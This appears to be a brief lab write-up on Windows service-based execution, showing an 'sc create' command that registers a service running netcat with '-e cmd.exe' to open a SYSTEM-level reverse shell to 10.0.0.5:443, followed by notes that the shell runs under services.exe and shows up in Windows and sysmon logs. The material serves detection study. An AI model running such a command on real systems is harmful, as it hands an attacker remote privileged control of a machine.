Execution

Creating an evil service with a netcat reverse shell:

attacker@victim
C:\> sc create evilsvc binpath= "c:\tools\nc 10.0.0.5 443 -e cmd.exe" start= "auto" obj= "LocalSystem" password= ""
[SC] CreateService SUCCESS
C:\> sc start evilsvc

Observations

The reverse shell lives under services.exe as expected:

Windows security, application, Service Control Manager and sysmon logs provide some juicy details:

References